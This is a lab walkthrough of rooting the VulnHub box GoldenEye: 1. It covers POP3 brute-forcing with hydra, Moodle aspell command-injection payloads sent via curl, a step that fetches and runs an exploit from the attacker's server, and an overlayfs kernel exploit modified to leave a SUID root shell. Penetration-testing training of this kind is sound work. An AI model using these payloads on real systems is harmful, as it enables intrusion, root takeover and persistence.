GoldenEye: 1 — Full Walkthrough: Rooting a VulnHub Box from the Command Line When the Tools Won't Cooperate
Target: GoldenEye: 1 (VulnHub, by creosote, 2018)
Difficulty: Intermediate (OSCP-style, no BOF / exploit development)
Environment: WSL2 Kali + self-hosted QEMU/KVM (not VirtualBox)
Intro: why this writeup is a little different
Walkthroughs for GoldenEye are all over the internet, so this one isn't just going to rehash "how to beat the box." What it documents is a more realistic scenario: when your environment is something you cobbled together yourself, when the GUI tools go on strike at the worst possible moment, and when your attack channel keeps dropping without warning — how do you punch through the box by hand, from the command line, through systematic troubleshooting.
I never relied on a stable interactive shell for the entire box; in the end I rooted it with "blind RCE" (write output to a file + curl it back). Along the way I stepped on countless landmines (streamOptimized disks, port conflicts, WSLg firefox refusing to respond to clicks, reverse shells dropping over and over, expired sessions) — and the reasoning I used to clear those landmines is more worth recording than the box itself.
Full kill chain: (spoilers — feel free to skip)
- Web recon →
terminal.jsleaks boris's default password (HTML-entity encoded) /sev-home/confirms the accounts and the POP3 service- POP3 credential relay: boris → natalya → doak (each mailbox points at the next)
- An email leaks the Moodle entry point and xenia's credentials
- Inside Moodle: xenia → dr_doak → download
s3cret.txt - EXIF steganography in an image (Base64) → Moodle admin credentials
- Moodle aspell command-injection RCE (entirely via curl, bypassing the GUI)
- overlayfs kernel privesc (CVE-2015-1328) → root
0. Building the environment: running VulnHub inside WSL2 with QEMU/KVM
VulnHub boxes ship as VM images (.ova), and traditionally you'd fire up VirtualBox/VMware. I didn't want a GUI hypervisor open, so I went with "QEMU headless + an isolated network segment" and stayed in the Kali terminal the whole time. The prerequisite is that WSL2 needs nested virtualization enabled.
Enable nested virtualization (in Windows's .wslconfig):
[wsl2]
nestedVirtualization=true
After wsl --shutdown and a restart, verify KVM is available:
ls -l /dev/kvm
sudo apt install -y cpu-checker && kvm-ok # you want to see "KVM acceleration can be used"
Unpack and convert (the key gotcha: the VMDK inside the .ova is in the read-only streamOptimized format and must be converted to qcow2):
tar xf GoldenEye-v1.ova # extracts GoldenEye-v1-disk001.vmdk
# booting the vmdk directly throws "Could not write to allocated cluster for streamOptimized"
qemu-img convert -p -O qcow2 GoldenEye-v1-disk001.vmdk goldeneye.qcow2
Set up an isolated network segment (br0 + tap0 + dnsmasq as the DHCP server):
sudo ip link add br0 type bridge
sudo ip addr add 10.10.10.1/24 dev br0
sudo ip link set br0 up
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
# dnsmasq only hands out DHCP; --port=0 avoids grabbing port 53 (which would clash with WSL2's built-in DNS)
sudo dnsmasq --interface=br0 --bind-interfaces \
--dhcp-range=10.10.10.50,10.10.10.100,12h \
--dhcp-authoritative --port=0 --no-daemon --log-dhcp
Headless boot (KVM acceleration, the e1000 NIC to match the VirtualBox export, no display):
sudo qemu-system-x86_64 \
-enable-kvm -m 2048 -cpu host \
-drive file=goldeneye.qcow2,format=qcow2,if=ide \
-netdev tap,id=net0,ifname=tap0,script=no,downscript=no \
-device e1000,netdev=net0 \
-display none -serial mon:stdio
Once the box boots, the dnsmasq log shows DHCPACK(br0) 10.10.10.61 — the target's IP is in hand, and I never touched a GUI.
I later froze this whole setup into a one-shot vulnhub-run.sh script, so switching to a new box is a one-liner from now on. The streamOptimized conversion, port-conflict cleanup, attaching the tap to the bridge, and auto-grabbing the IP are all baked in.1. Recon
sudo nmap -p- -sV -sC 10.10.10.61
Four ports, and the theme is obvious at a glance:
| Port | Service | Notes |
|---|---|---|
| 25 | Postfix SMTP | Outbound mail |
| 80 | Apache 2.4.7 | "GoldenEye Primary Admin Server" |
| 55006 | Dovecot POP3S | Incoming mail (SSL) |
| 55007 | Dovecot POP3 | Incoming mail (plaintext / STLS) |
Three of the four ports are doing mail (SMTP + POP3 ×2), and the POP3 services sit on non-standard high ports. That service layout strongly hints that the backbone of this box is "obtain mailbox credentials → read the mail → grab the next clue," while the Web service (port 80) is the only entry point you can explore without an account — so that's where I start.
2. Web, first half: digging the first set of credentials out of the homepage
The homepage itself is almost empty, but it loads a terminal.js. The iron rule of OSCP-style boxes: every custom file the author drops in is worth opening and reading.
curl -s http://10.10.10.61/terminal.js
The key content:
Navigate to /sev-home/ to login
// Boris, make sure you update your default password.
// I encoded you p@ssword below...
// Invincible...
// BTW Natalya says she can break your codes
That string of &#nn; is HTML-entity encoding (I = ASCII 73 = I). Drop it into a browser or run it through html.unescape() and it decodes to:
InvincibleHack3r
Log in to /sev-home/ (HTTP Basic Auth):
curl -s -i -u boris:InvincibleHack3r http://10.10.10.61/sev-home/
The page after logging in confirms two accounts (Natalya and Boris are hidden in HTML comments), and it explicitly states "POP3 is on a non-standard high port" and "email a GNO supervisor to receive training." That officially steers the attack toward the mail service.
3. POP3 credential relay: the core gimmick of this box
3.1 SMTP user enumeration (first, confirm the tool can be trusted)
Before enumerating accounts with SMTP VRFY, do one thing first: use a "known non-existent" negative sample to test the tool's discriminating power, so you don't mistake "responds to everything" for "the account exists."
nc 10.10.10.61 25
VRFY boris # 252 (exists)
VRFY james # 550 User unknown (doesn't exist) ← proves VRFY actually discriminates
VRFY root # 252 (exists)
The fact that james returns 550 is the counter-proof that those 252s are real accounts. Running smtp-user-enum against the full list of 007 character names confirms only three real accounts: boris, natalya, root (villain names like xenia/janus/006 all don't exist).
3.2 Dovecot has brute-force protection
Blasting POP3 with 16 children straight away, and Dovecot pushes back immediately:
[ERROR] POP3 PLAIN AUTH : -ERR Disconnected for inactivity during authentication.
This is Dovecot's auth delay + concurrency throttling. When a slow service has protection, "wordlist quality" matters a hundred times more than "wordlist size." Testing once by hand confirms the service responds cleanly to a single auth attempt (-ERR Authentication failed), which means you can brute-force at low concurrency — you just have to be gentle.
3.3 Three brute-forces, three mailboxes
The key finding: boris's password isn't in the top-1000 pure-common-word list, nor in an invincible-themed list — it's in fasttrack.txt (which catalogs "word + digits + symbol" patterns):
hydra -l boris -P /usr/share/wordlists/fasttrack.txt -t 4 -I 10.10.10.61 -s 55007 pop3 -f
# boris : secret1!
hydra -l natalya -P fasttrack.txt -t 4 -I 10.10.10.61 -s 55007 pop3 -f
# natalya : bird
hydra -l doak -P fasttrack.txt -t 4 -I 10.10.10.61 -s 55007 pop3 -f
# doak : goat
Lesson: when a brute-force comes up empty, changing the "style" of the wordlist is sometimes more decisive than changing the account or cranking up the size. secret1! slips past both the pure-common-word list and the themed list, because it follows a "common word + common suffix" pattern — you need a list that catalogs exactly that kind of combination to catch it.3.4 The email contents string the whole chain together
Reading each mailbox in turn (nc 10.10.10.61 55007 → USER/PASS/LIST/RETR):
- boris's mailbox:
[email protected]mentions access codes, xenia, and a training site. - natalya's mailbox: hands over the crucial intel directly —
username: xenia
password: RCP90rulez!
URL: severnaya-station.com/gnocertdir
Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.
Edit hosts as instructed:
echo "10.10.10.61 severnaya-station.com" | sudo tee -a /etc/hosts
4. The midgame: Moodle (an off-the-shelf CMS, and a shift in attack mindset)
whatweb http://severnaya-station.com/gnocertdir/
Fingerprinting confirms it's Moodle (MoodleSession cookie, PHP 5.5.9, title "GoldenEye Operators Training - Moodle"). The attack mindset shifts immediately: for an off-the-shelf open-source CMS, the first instinct is "which version, and is there a known CVE?"
The version is hidden in lib/upgrade.txt:
curl -s http://severnaya-station.com/gnocertdir/lib/upgrade.txt | grep -m1 "==="
# === 2.2 ===
After logging in with xenia:RCP90rulez!, an internal Moodle message (from Dr Doak) leaks a new account, doak — going back to brute-force POP3 yields doak:goat, and doak's mailbox hands over a Moodle account:
username: dr_doak
password: 4England!
dig until you can exfiltrate further information
Logging in as dr_doak, I find a downloadable file in the profile, s3cret.txt (path draftfile.php/.../for james/s3cret.txt):
I was able to capture this apps adm1n cr3ds through clear txt.
Text throughout most web apps ... are scanned, so I cannot add the cr3dentials here.
Something juicy is located here: /dir007key/for-007.jpg
The credentials are hidden inside an image (because text would get scanned), so grab the image and dig into the EXIF:
curl -s http://severnaya-station.com/dir007key/for-007.jpg -o for-007.jpg
exiftool for-007.jpg
# Image Description : eFdpbnRlcjE5OTV4IQ== ← Base64 (the trailing == is the giveaway)
echo "eFdpbnRlcjE5OTV4IQ==" | base64 -d
# xWinter1995x!
Moodle admin credentials in hand: admin : xWinter1995x!
5. The boss fight: Moodle aspell command-injection RCE
5.1 Environmental obstacles: the GUI goes fully on strike
After logging in as admin I hit a string of environment problems: the WSLg firefox window is tiny and the dropdowns and buttons won't respond to clicks; trying to forward to a Windows browser instead runs into Windows's IIS occupying port 80, and Moodle's wwwroot forcing a redirect. Conclusion: give up on the browser and drive the entire Moodle backend with curl — which, as it turns out, sidesteps every GUI/port problem.
Log in with curl to grab an admin session:
curl -s -c cookies.txt -b cookies.txt \
-d "username=admin&password=xWinter1995x!" \
"http://severnaya-station.com/gnocertdir/login/index.php" -L -o /dev/null -w "%{http_code}\n"
# verify: grep for "You are logged in as" + "logout"
5.2 How the aspell RCE works
Moodle's TinyMCE spell-check can be configured to use the external program aspell, and the admin can set the execution path for aspell in the backend. When Moodle runs a spell-check it uses that "path" to invoke a system command — so if you stuff a shell command into the path field, it gets executed. This is the same root cause as any command injection where "a field that's supposed to be a path/argument gets spliced into a shell."
Grab the settings page and find the aspell field name s__aspellpath and the sesskey:
curl -s -b cookies.txt "http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
| grep -iE "aspell|sesskey"
# sesskey = y4dijSTQgp
5.3 The key root cause: the spell engine must be PSpellShell
The first time I filled in a payload and triggered it, no shell came back. Using a ping to isolate the problem (setting aspell to ping -c 3 10.10.10.1 and opening tcpdump to catch the ICMP) — no ping was captured, meaning the command never ran at all. Digging further reveals the root cause:
curl -s -b cookies.txt "http://severnaya-station.com/gnocertdir/admin/settings.php?section=editorsettingstinymce" \
| grep -oP 'selected="selected">\K[^<]+'
# Google Spell ← this goes to the cloud, it never touches local aspell at all!
Use a curl POST to force it to PSpellShell:
curl -s -b cookies.txt \
--data-urlencode "sesskey=y4dijSTQgp" --data-urlencode "return=" \
--data-urlencode "s_editor_tinymce_spellengine=PSpellShell" \
--data-urlencode "s_editor_tinymce_spelllanguagelist=+English=en" \
"http://severnaya-station.com/gnocertdir/admin/settings.php?section=editorsettingstinymce" \
-o /dev/null -w "%{http_code}\n"
After switching to PSpellShell, the ping test immediately catches ICMP — the command really is executing now.
5.4 The blind-shot mindset: giving up on an interactive shell
The telnet reverse shell keeps auto-disconnecting, and bash's /dev/tcp isn't supported on this box either. Rather than wrestle with a fragile interactive shell, I switched to blind RCE: for each command, write the output to Moodle's web directory, then curl it back.
# set the aspell payload: run a command → write output to the web directory
curl -s -b cookies.txt \
--data-urlencode "sesskey=y4dijSTQgp" --data-urlencode "return=" \
--data-urlencode "s__aspellpath=sh -c 'id > /var/www/html/gnocertdir/out.txt 2>&1; uname -a >> /var/www/html/gnocertdir/out.txt 2>&1'" \
"http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
-o /dev/null -w "%{http_code}\n"
# trigger the spell-check (send a "misspelled word" to force it to call aspell)
curl -s -b cookies.txt \
"http://severnaya-station.com/gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php" \
-H "Content-Type: application/json" \
-d '{"id":"c0","method":"checkWords","params":["en",["helllooooo","zzzxxxqqq"]]}'
# read the output back
curl -s "http://severnaya-station.com/gnocertdir/out.txt"
Result:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP ... 2014 x86_64
Mindset shift: an interactive shell is a "convenience," not a "requirement" — the ability to execute commands is what actually matters. In an unstable environment, a solid blind RCE gets recon and privesc done just as well.
6. Privilege escalation: the overlayfs kernel vulnerability (CVE-2015-1328)
The kernel version 3.13.0-32-generic (Ubuntu 14.04, 2014) maps to the classic overlayfs local privesc.
searchsploit linux kernel 3.13 privilege escalation
# Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' LPE | linux/local/37292.c
Filtering the hits: the version range 3.13.0 < 3.19 frames it precisely, Ubuntu 14.04 is a match, it's a local privesc, and it comes with a compilable .c.
6.1 Modifying the exploit (blind-shot friendly)
The original 37292.c opens an interactive root shell when run (execle("/bin/sh","sh","-i")), which would hang in blind mode; and internally it compiles with gcc, but the target only has cc. Both need fixing:
cp 37292.c ofs.c
sed -i 's/gcc/cc/g' ofs.c # the target only has cc
# turn the interactive shell into "non-interactive, persisted root": add a SUID bash + read the flag
# execle("/bin/sh","sh","-i",NULL,NULL);
# → system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash; cat /root/*.txt > .../flag.txt; chmod 777 .../flag.txt");
The idea: kernel exploits usually give you an interactive shell, but my shell drops. The fix is to "persist root without needing interaction" — as root, add SUID to bash (/tmp/rootbash), and from then on a blind/tmp/rootbash -pis a stable root.
6.2 Download, compile, run (all blind)
# start an http server on Kali for the target to download from
python3 -m http.server 8000
# blind: wget → compile → run
curl -s -b cookies.txt \
--data-urlencode "sesskey=$NEWSESS" --data-urlencode "return=" \
--data-urlencode "s__aspellpath=sh -c 'cd /tmp; wget http://10.10.10.1:8000/ofs.c -O ofs.c; cc ofs.c -o ofs -lpthread; ./ofs > /var/www/html/gnocertdir/pwn.txt 2>&1'" \
"http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
-o /dev/null -w "%{http_code}\n"
# trigger rpc.php ...
6.3 Getting root
After the exploit runs, use the SUID bash to read the flag as root:
curl -s -b cookies.txt \
--data-urlencode "sesskey=$NEWSESS" --data-urlencode "return=" \
--data-urlencode "s__aspellpath=sh -c '/tmp/rootbash -p -c \"id; cat /root/.flag.txt\" > /var/www/html/gnocertdir/flag.txt 2>&1'" \
"http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
-o /dev/null -w "%{http_code}\n"
# trigger rpc.php ...
curl -s "http://severnaya-station.com/gnocertdir/flag.txt"
Result (note the flag is a hidden file, .flag.txt — /root/*.txt won't match it, so you have to name it explicitly):
uid=33(www-data) ... euid=0(root) groups=0(root),33(www-data)
Alec told me to place the codes here:
568628e0d993b1973adc718237da6e93
If you captured this make sure to go here.....
/006-final/xvf7-flag/
euid=0(root) — privesc successful. Visiting the easter-egg page /006-final/xvf7-flag/ gives the official "Flag Captured" congratulations.
Takeaways worth keeping (more valuable than the flag)
- Self-hosted lab environment: QEMU/KVM headless + tap/bridge, no reliance on a GUI hypervisor, everything driven from the terminal — honestly it started because I couldn't be bothered to open VirtualBox and then figured I'd mess around with it.
- Using the command line to route around GUI bugs: when firefox won't respond to clicks and the browser fights over ports, curl can punch through the entire Moodle backend. The GUI is a convenience, not a requirement.
- The blind-RCE mindset: drop the fixation on "I absolutely need an interactive shell," and get recon and privesc done with stable command execution via "write to a file + read it back." That's the right answer when the environment is unstable.
- Systematic troubleshooting: use a test with a "clearly visible outcome" like ping to isolate "the command didn't run" vs. "the shell didn't come back"; when requests suddenly all fail, suspect an expired session/token first; when you're stuck, back off to the simplest "known-good" state and add complexity back one step at a time.
- Brute-force strategy: when a slow service is protected, wordlist "quality and style" matter more than "quantity"; go from small to large, fast to slow; when it misses, question the premises first (account, service, wordlist style) rather than mindlessly cranking up the size.
- Credential relay (lateral movement): this is exactly the heart of real internal-network pentesting — one set of credentials pries open a foothold, you scoop up the next set, and you pivot the whole way through.
This is an educational writeup of the GoldenEye: 1 box; all actions were performed in an isolated local environment. Never run any testing against systems you are not authorized to.
Member discussion